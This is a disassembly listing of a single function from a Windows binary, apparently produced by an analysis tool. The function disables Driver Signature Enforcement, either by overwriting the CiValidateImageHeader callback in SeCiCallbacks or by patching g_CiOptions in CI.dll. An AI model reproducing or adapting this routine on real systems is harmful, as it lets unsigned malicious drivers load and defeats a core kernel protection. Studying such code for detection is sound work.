Function at 0x140003770
Capabilities:
Disable driver code integrity
Load ntoskrnl

Disassembly:
push rbx
push rdi
sub rsp, 0x38
mov edi, edx
test ecx, ecx
je 0x14000391c
cmp ecx, 1
jne 0x140003992
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x30], r14
call fcn.140009b90
mov rbx, rax
lea rcx, str.____DSE_callback_swapping__SeCiCallbacks_arrays_address:__p_n
add rbx, qword [0x140053290]
mov rdx, rbx
call fcn.140001010
call fcn.140009c30
mov r14, qword [0x1400536b0]
lea rcx, str.____DSE_callback_swapping__Looking_for_entry_equals_to_CiValidateImageHeader___p__n
add r14, rax
mov rdx, r14
call fcn.140001010
call fcn.140009b90
lea rcx, str.ntoskrnl.exe
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x14000388a
lea rdx, str.ZwFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
sub rsi, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rbp, rsi
je 0x14000388a
mov rsi, rbx
neg rsi
mov rcx, rbx
call fcn.14000a000
lea rdx, [rsp + 0x60]
mov rcx, rax
mov rdi, rax
call fcn.140009d40
mov rcx, qword [rsp + 0x60]
lea r8, [rsi + rbx]
mov qword [rsp + 0x28], rcx
mov r9, rdi
lea rcx, str.____DSE_callback_swapping___0x_016llx__seCiCallbacks__0x_llx___t_t_0x_016llx___s__0x_llx__n
mov qword [rsp + 0x20], rax
mov rdx, rbx
call fcn.140001010
cmp rdi, r14
je 0x140003879
cmp rdi, rbp
je 0x140003879
add rbx, 8
lea rax, [rsi + rbx]
cmp rax, 0x100
jb 0x140003820
jmp 0x14000387e
test rbx, rbx
jne 0x1400038a4
lea rcx, str._____DSE_callback_swapping__Failed_to_locate_an_entry_in_SeCiCallbacks_pointing_at_Ci_CiValidateImageHeader_n
call fcn.140001010
xor ebx, ebx
mov r14, qword [rsp + 0x30]
mov eax, ebx
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
add rsp, 0x38
pop rdi
pop rbx
ret
mov rdx, rbx
lea rcx, str.____DSE_callback_swapping__Found_the_Ci_CiValidateImageHeader_in_the_array_at__p_n
call fcn.140001010
call fcn.140009b90
lea rcx, str.ntoskrnl.exe
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000388a
lea rdx, str.ZwFlushInstructionCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
sub rbp, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rdi, rbp
je 0x14000388a
mov rdx, rdi
mov rcx, rbx
call fcn.14000a5f0
lea rcx, str.___Successfully_disabled_DSE_by_overwriting_Ci_CiValidateImageHeader_n
call fcn.140001010
mov qword [0x140055270], rbx
mov ebx, 1
jmp 0x14000388c
xor ebx, ebx
cmp qword [0x1400536a8], rbx
mov dword [0x140055278], ebx
je 0x140003989
call fcn.140009c30
mov rdx, rax
test rax, rax
jne 0x14000394f
lea rcx, str.____CI_base_address_not_found___n
call fcn.1400184e0
mov eax, ebx
add rsp, 0x38
pop rdi
pop rbx
ret
mov rbx, qword [0x1400536a8]
add rbx, rdx
test edi, edi
je 0x14000396c
mov r8, rbx
lea rcx, str.____DSE_g_CiOptions_patching__CI.dll_kernel_base_address_found_at_0x_llx._The_g_CiOptions_is_at__llx___n
call fcn.140001010
mov rcx, rbx
call fcn.140009e80
xor edx, edx
mov dword [0x140055278], eax
mov rcx, rbx
call fcn.14000a490
mov ebx, 1
mov eax, ebx
add rsp, 0x38
pop rdi
pop rbx
ret
lea rcx, str.Invalid_DSE_disabling_method__aborting...
call fcn.140001010
mov ecx, 1
call fcn.1400119f0
int3